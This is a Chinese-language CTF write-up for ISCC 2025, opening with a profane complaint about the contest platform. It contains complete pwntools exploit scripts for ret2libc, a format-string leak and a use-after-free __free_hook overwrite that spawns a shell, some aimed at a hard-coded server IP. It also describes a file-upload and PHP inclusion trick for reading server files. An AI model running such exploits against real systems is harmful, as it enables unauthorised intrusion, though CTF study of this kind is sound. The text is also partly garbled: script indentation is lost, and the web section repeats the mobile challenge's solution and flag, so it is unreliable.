总结
垃圾比赛,垃圾题目,纯脑洞题,技术好不好没得关系,就看你脑洞大不大。
web里塞misc,re里塞misc真是牛逼他妈给牛逼开门牛逼到家。
逆天平台,卡的一批,靶机还是公用的,把flag删了也是逆天。
封你IP没得商量,下个附件,把老子IP封几十个,代理池换都换不过来。
sbcc你值得拥有
PWN
签
普通的ret2libc
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
#libc = ELF("../libc_back/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
puts_got = elf.got['puts']
ru(b"What's your name?\n")
# gdb.attach(io)
payload = p32(puts_got)+b"aaaa%7$s%23$p"
sl(payload)
puts_addr = u32(io.recvuntil(b"\xf7")[-4:])
ru(b"0x")
stack = int(r(8),16)
print("puts_addr----------------->: ",hex(puts_addr))
print("stack---------------_>: ",hex(stack))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
system = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")
print("libc_base-------------------->:",hex(libc_base))
ru(b"What's your password?\n")
payload = b"a"*(0x4c-0x10)+p32(stack)*5+p32(system)*2+p32(binsh)
sl(payload)
itr()
if __name__ == "__main__":
while True:
io = remote("ip",port) #这里替换成自己的
# io = process(pwnfile)
try:
pwn()
except:
io.close()
pwn2
就是普通的ret2libc,这里申请和题目一样大小的chunk也就是0x60大小,会把原来的chunk申请回来,然后编辑就可以了
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./attachment-8"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./attachment-8.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
ru(b"size:")
sl(str(0x60))
ru(b"flag:")
sl(b"flag")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004014c3
pop_rsi = 0x000000000040101a
start_addr = 0x401100
ru(b"welcome to ISCC")
s(b"a"*0x18+b"b")
ru(b"ab")
stack = u64(r(7).rjust(8,b"\x00"))
print("stack-----------------_----->: ",hex(stack))
ru(b"nice to meet you")
payload = b"a"*0x18+p64(stack)+b"a"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
s(payload)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("puts_addr--------------------------->: ",hex(puts_addr))
libc_base = puts_addr-libc.sym['puts']
print("libc_base---------------___>: ",hex(libc_base))
system = libc_base+libc.sym['system']
binsh = libc_base+0x00000000001b45bd
ru(b"welcome to ISCC")
s(b"a"*0x18+b"b")
ru(b"nice to meet you")
payload = b"a"*0x18+p64(stack)+b"a"*8+p64(0x000000000040101a)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(start_addr)
s(payload)
itr()
if __name__ == "__main__":
while True:
io = remote("101.200.155.151",12200)
# io = process(pwnfile)
try:
pwn()
except:
io.close()
PWN3
这个程序,free后没有把指针清空,存在UAF漏洞
然后edit函数里没有对size进行check 所有会导致堆溢出,可以无限写入数据
利用方法就是,先申请lagebin大小的chunk(大于0x400),free掉这个chunk后会进入unsorted bin中然后泄露libc就可以了。
然后利用uaf漏洞改以及free掉的chunk的fd指针,把堆指向__free_hook,然后把free_hook申请到,改hook的值为system
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./attachment-13"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("attachment-13.6")
# libc = ELF("../libc_back/libc-2.27.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def add(idx,size):
sla(b"Chant your choice:",b"1")
sla(b"Celestial alignment coordinate:",str(idx))
sla(b"Quantum essence required:",str(size))
def free(idx):
sla(b"Chant your choice:",b"2")
sla(b"Cursed sanctum to cleanse:",str(idx))
def edit(idx,size,data):
sla(b"Chant your choice:",b"3")
sla(b"Sanctum for arcane inscription:",str(idx))
sla(b'Runic sequence length:',str(size))
ru(b"Inscribe your primordial truth:")
s(data)
def show(idx):
sla(b"Chant your choice:",b"4")
sla(b"Sanctum to reveal cosmic truth:",str(idx))
def pwn():
add(0,0x68)
add(1,0x68)
add(2,0x430)
add(3,0x68)
free(2)
show(2)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-96-0x10
libc_base = malloc_hook-libc.sym['__malloc_hook']
fake_chunk = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
print("libc_base--------------------__>: ",hex(libc_base))
print("fake_chunk--------------------->: ",hex(fake_chunk))
free(1)
edit(1,0x100,p64(fake_chunk))
add(1,0x68)
add(4,0x68)
edit(4,0x100,p64(system))
edit(3,0x100,b"/bin/sh\x00")
free(3)
# # add(5,0x30)
# gdb.attach(io)
itr()
if __name__ == "__main__":
# while True:
io = remote("101.200.155.151",12700)
# io = process(pwnfile)
try:
pwn()
except:
io.close()
MISC
misc1
用010 editor查看图片的数据,发现图片中隐藏了压缩包
用binwalk分离出一个zip包
密码是图片属性中的备注:L9k8JhGfDsA
然后都到一串字符串: 丙工 石早 从歌 片为 乐一 卫巾 远太 石吧 石卜 比为 比海 兄国 为摔 右片 右真 回穿 边真 边呀 那晚 作画 关色 市乙 上群 大群
这题真的很脑洞,我试了好几个小时才弄出来。
解题方法就是:以笔画为标准,把每个字符的笔画用16进制表示,每两个一组,然后16进制转字符串得到base64编码,然后再base64解码拿到flag
转为16进制是:
53 56 4E 44 51 33 74 57 52 44 4A 58 4E 54 5A 69 5A 57 6B 78 66 51 3D 3D
16进制转字符串:
SVNDQ3tWRDJXNTZiZWkxfQ==
然后解码:
ISCC{VD2W56bei1}
misc2
利用:零宽度字符隐写
去https://yuanfux.github.io/zero-width-web/
密钥:iscc2025Iq10
然后厨子解密,flag改成ISCC
RE
re1
把文件脱入ida中,分析代码发现是python解释器
去:https://pyinstxtractor-web.netlify.app/
把PyInstaller文件 分离出来
pyc反编译网站:https://www.toolnb.com/tools/pyc.html
反编译:something.pyc文件:
# uncompyle6 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.9.6 (default, Jun 27 2024, 17:58:20)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: something.py
import mypy, yourpy
def something():
print(" 打工奇遇")
print("宫室长悬陇水声")
print("廷陵刻此侈宠光")
print("玉池生肥咽不彻")
print("液枯自断仙无分")
print("酒醒玉山来映人")
def check():
your_input = input()
if your_input[None[:5]] == "ISCC{" and your_input[-1] == "}":
print("Come along, you'll find the answer!")
else:
print("Flag is wrong!")
if __name__ == "__main__":
mypy.myfun()
something()
print("Please enter flag:")
check()
# okay decompiling /tmp/toolnb/dfda2b1f473b244e5976bb23babae2f1/main.pyc
这里看不出上面算法来,要去查看mypy, yourpy 这两个文件
然后发现文件夹中有个tinyaes的.so文件,然后在 PYZ-00.pyz_extracted 目录下发现了 mypy, yourpy这两个文件,但都被加密了。
所以要去解密
反编译pyimod00_crypto_key.pyc 文件拿到私钥key
# uncompyle6 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.9.6 (default, Jun 27 2024, 17:58:20)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: build/something/pyimod00_crypto_key.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 49 bytes
key = "yibaibayibei1801"
# okay decompiling /tmp/toolnb/fd5550872ebc6df5aa6861b1ec55d038/main.pyc
tinyaes网上有专门的脚本解密。
脚本是:
import tinyaes
import zlib
CRYPT_BLOCK_SIZE = 16
key = bytes('yibaibayibei1801', 'utf-8')
inf = open("C:\\Users\\saulgoodman\\Desktop\\something_extracted\\PYZ-00.pyz_extracted\\mypy.pyc.encrypted",'rb') # 打开加密文件
outf = open('C:\\Users\\saulgoodman\\Desktop\\baby_core1.pyc', 'wb') # 输出文件
iv = inf.read(CRYPT_BLOCK_SIZE)
cipher = tinyaes.AES(key, iv)
# 主程序
plaintext = zlib.decompress(cipher.CTR_xcrypt_buffer(inf.read()))
outf.write(b'\x55\x0d\x00\x00\0\0\0\0\0\0\0\0\0\0\0\0') # 补pyc文件头
outf.write(plaintext)
inf.close()
outf.close()
获得解密后的pyc,用上面提到的网站进行反编译,在PYZ-00.pyz_extracted找到mypy.py,这个是加密逻辑,并可以看到硬编码密钥
# uncompyle6 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.9.6 (default, Jun 27 2024, 17:58:20)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: mypy.py
import time
def myfun():
part1 = "ISCC{"
part2 = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx"
part3 = "}"
tmp = ""
part2_1 = part2[None[:11]]
part2_2 = part2[11[:15]]
part2_3 = part2[15[:20]]
part2_4 = part2[20[:None]]
for i in range(len(part2_1)):
tmp += chr(ord(part2_1[i]) + 1)
else:
for i in range(len(part2_2)):
if part2_2[i].isalpha():
tmp += chr(ord(part2_2[i]) ^ 32)
else:
tmp += chr(ord(part2_2[i]) + 0)
else:
for i in range(len(part2_3)):
tmp += chr(ord(part2_3[i]) - 1)
else:
for i in range(len(part2_4)):
tmp += chr(ord(part2_4[i]) + i % 2)
else:
cipher = "qzjotubmmfs_IS_udqx^iotfrfsuiog"
true_flag = part1 + part2 + part3
print(time.strftime("%Y-%m-%d %H:%M", time.localtime(time.time())))
return true_flag
if __name__ == "__main__":
ss = myfun()
print(ss)
# okay decompiling /tmp/toolnb/adee3289a32935862d843b501a780a98/main.pyc
这是个逆向之后的程序,需要填写自己的密钥
cipher = '' #自己的密钥
# 分段长度和位置
part2_1_enc = cipher[:11]
part2_2_enc = cipher[11:15]
part2_3_enc = cipher[15:20]
part2_4_enc = cipher[20:]
# 逆操作
part2_1 = ''.join([chr(ord(c) - 1) for c in part2_1_enc])
part2_2 = ''
for c in part2_2_enc:
if c.isalpha():
part2_2 += chr(ord(c) ^ 32) # 大小写反转
else:
part2_2 += c
part2_3 = ''.join([chr(ord(c) + 1) for c in part2_3_enc])
part2_4 = ''
for i, c in enumerate(part2_4_enc):
part2_4 += chr(ord(c) - (i % 2))
part2 = part2_1 + part2_2 + part2_3 + part2_4
flag = f"ISCC{{{part2}}}"
print(flag)
运行后获得flag
re2
运行程序随意输入
有upx壳
upx脱壳
upx.exe -d C:\Users\xxx\Desktop\SP35.exe
放入ida静态分析
关键代码
下断点进行动态调试
v13就是flag的地址
re3
一开始看到字符串中有
*11110100001010000101111#
就一直往迷宫方向想,尝试许久后放弃,转换思路。
动态调试,发现加密函数:
密钥是xmmword_7FF61E102220里面的值:
逆向可知算法是xxtea,套模板解就⾏
import struct
def xxtea_encrypt(data, key):
def mx():
return (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum_ ^ y) + (key[(p & 3) ^ e] ^
z)))
n = len(data)
if n < 2:
return data
rounds = 6 + 52 // n
sum_ = 0
delta = 0x9e3779b9
y = 0
z = data[-1]
for _ in range(rounds):
sum_ = (sum_ + delta) & 0xffffffff
e = (sum_ >> 2) & 3
for p in range(n):
y = data[(p + 1) % n]
z = data[p] = (data[p] + mx()) & 0xffffffff
return data
def read_key_from_exe(file_path, offset=0x30e20):
with open(file_path, 'rb') as f:
f.seek(offset)
key_bytes = f.read(16)
if len(key_bytes) != 16:
raise ValueError("读取 key 失败,长度不足 16 字节")
return list(struct.unpack('<4I', key_bytes))
def main():
exe_path = "C:\\Users\\saulgoodman\\Desktop\\attachment-14\\冗余的代码.exe" # 替换为实际路径
v = [33686020, 67174660, 67240450]
xor_key = [0x0d, 0x0c, 0x0b, 0x0a, 0x11, 0x10, 0x0f, 0x0e, 0x15, 0x14, 0x13, 0x12]
key = read_key_from_exe(exe_path)
encrypted = xxtea_encrypt(v.copy(), key)
encrypted_bytes = b''.join(struct.pack('<I', x) for x in encrypted)
xor_result = bytes(b ^ xor_key[i] for i, b in enumerate(encrypted_bytes))
final = struct.unpack('<III', xor_result)
print("ISCC{", end='')
for num in final:
print(f"{num:08x}", end='') # 修正为8位十六进制
print("}")
if __name__ == "__main__":
main()
mobile
mobil1
直接解压,反编译class.dex文件就可以了
关键代码:
private boolean Jformat(String arg5) {
int v0 = arg5.lastIndexOf("_");
boolean v2 = false;
if(v0 != -1) {
if(arg5.length() < 10) {
}
else if((arg5.startsWith("ISCC{")) && (arg5.endsWith("}"))) {
boolean v0_1 = this.nativeCheckLast(arg5.substring(v0 + 1, arg5.length() - 1));
boolean v5 = this.nativeCheckFormat(arg5);
if((v0_1) && (v5)) {
v2 = true;
}
}
}
return v2;
}
在IDA中分析libencode.so文件
在**__fastcall Java_com_example_encode_MainActivity_nativeCheckLast**中有个 encode_last_part 函数
char *__fastcall encode_last_part(char *a1, unsigned __int8 *a2)
{
unsigned __int8 *v2; // r14
__int64 v3; // r15
__int64 i; // r12
unsigned __int8 v5; // si
unsigned __int64 v6; // rdx
__int64 v7; // rcx
unsigned __int64 v8; // rax
__int64 v9; // rdx
_BYTE *v10; // rcx
unsigned __int64 v11; // rax
char v12; // dl
*(_OWORD *)a1 = 0LL;
*((_QWORD *)a1 + 2) = 0LL;
v2 = a2 + 1;
v3 = *a2 >> 1;
if ( (*a2 & 1) != 0 )
v2 = (unsigned __int8 *)*((_QWORD *)a2 + 2);
if ( (*a2 & 1) != 0 )
v3 = *((_QWORD *)a2 + 1);
if ( v3 )
{
for ( i = 0LL; i != v3; ++i )
std::string::push_back(a1, (unsigned int)(char)(v2[i] + 3));
v5 = *a1;
v6 = *((_QWORD *)a1 + 2);
v7 = *((_QWORD *)a1 + 1);
}
else
{
v7 = 0LL;
v6 = 0LL;
v5 = 0;
}
v8 = (unsigned __int64)(a1 + 1);
if ( (v5 & 1) != 0 )
v8 = v6;
v9 = v5 >> 1;
if ( (v5 & 1) != 0 )
v9 = v7;
if ( v9 )
{
v10 = (_BYTE *)(v8 + v9 - 1);
if ( (unsigned __int64)v10 > v8 )
{
v11 = v8 + 1;
do
{
v12 = *(_BYTE *)(v11 - 1);
*(_BYTE *)(v11 - 1) = *v10;
*v10-- = v12;
}
while ( v11++ < (unsigned __int64)v10 );
}
}
return a1;
}
这个代码作用是:
-
将输入数据的每个字节加 3。
将结果追加到
a1
(std::string
)。
反转编码后的数据。
然后在函数中可以看到这个:
LOBYTE(v3) = (*(_QWORD *)v9 ^ 0x436A6C6635333538LL | (unsigned __int8)v9[8] ^ 0x50LL) == 0;
因为是小端序储存,所以正确的数据是 0x50436A6C6635333538
然后每两个16进制为一组减去三
0x50 - 3 = 0x4D ('M')
0x43 - 3 = 0x40 ('@')
0x6A - 3 = 0x67 ('g')
0x6C - 3 = 0x69 ('i')
0x66 - 3 = 0x63 ('c')
0x35 - 3 = 0x32 ('2')
0x33 - 3 = 0x30 ('0')
0x35 - 3 = 0x32 ('2')
0x38 - 3 = 0x35 ('5')
为M@gic2025
在 __fastcall Java_com_example_encode_MainActivity_nativeCheckFormat 中也有个encode函数:
unsigned __int8 *__fastcall encode_front_part(unsigned __int8 *a1, unsigned __int8 *a2)
{
unsigned __int8 *v2; // r15
__int64 v3; // r12
__int64 i; // r13
char v5; // dl
int v6; // ecx
char *v7; // rsi
__int128 v9; // [rsp+0h] [rbp-48h] BYREF
void *ptr; // [rsp+10h] [rbp-38h]
unsigned __int64 v11; // [rsp+18h] [rbp-30h]
v11 = __readfsqword(0x28u);
v9 = 0LL;
ptr = 0LL;
v2 = a2 + 1;
v3 = *a2 >> 1;
if ( (*a2 & 1) != 0 )
v2 = (unsigned __int8 *)*((_QWORD *)a2 + 2);
if ( (*a2 & 1) != 0 )
v3 = *((_QWORD *)a2 + 1);
if ( v3 )
{
for ( i = 0LL; i != v3; ++i )
std::string::push_back(&v9, (char)v2[i] ^ 0x2Fu);
v5 = v9;
v6 = (int)ptr;
}
else
{
v6 = 0;
v5 = 0;
}
v7 = (char *)&v9 + 1;
if ( (v5 & 1) != 0 )
LODWORD(v7) = v6;
simple_base64_encode(a1, (int)v7);
if ( (v9 & 1) != 0 )
operator delete(ptr);
return a1;
}
作用是:
- 从输入数据
a2
中提取一部分数据(具体位置和长度由a2
的第一个字节决定)。 - 对提取的每个字节进行异或操作(
^ 0x2F
)。 - 将异或后的结果进行Base64编码,存入输出缓冲区
a1
。 - 返回编码后的结果。
v18 = _mm_xor_si128(_mm_loadu_si128(v17), (__m128i)xmmword_145A0);
查看**(__m128i)xmmword_145A0)** 的内容为:Zx9IWG9dW1UMcAAA
base64字符集:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
对其进行base64解码,然后异或0x2f
得到:H0gw@rtz#_
所以flag为:ISCC{H0gw@rtz#_M@gic2025}
WEB
WEB1
访问/robots.txt
发现有个f10g.txt
访问发现没有flag
然后看源码的最底部有个注释
SGF …
把这个在https://qianqianquege.com/go/index.html#/ 导入
可以得到一盘只有黑子的围棋,看上去像一个等式,猜测2=0
然后f10g.txt的0换成2,拿到一个错误的flag
然后把f12g.txt中的所有0都换成2,提交正确
WEB2
右键源码,看到有个includes/*
访问includes,发现有个图片,根据内容猜测,flag.php
访问includes/flag.php
根据提示要get一把锤子
然后回到最初的页面
?chuizi=11111
拿到提示想到文件上传
访问upload页面
文件上传漏洞,只能上传txt文件,于是上传一个txt文件
内容是
<?php highlight_file("var/www/html/includes/flag.php");?>
然后回答网站首页
访问:
Ip/?chuizi=uploads/文件名.txt
base64字符集:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
对其进行base64解码,然后异或0x2f
得到:H0gw@rtz#_
所以flag为:ISCC{H0gw@rtz#_M@gic2025}
WEB3
原本不会的,但平台崩了,访问直接拿来flag。白捡200分。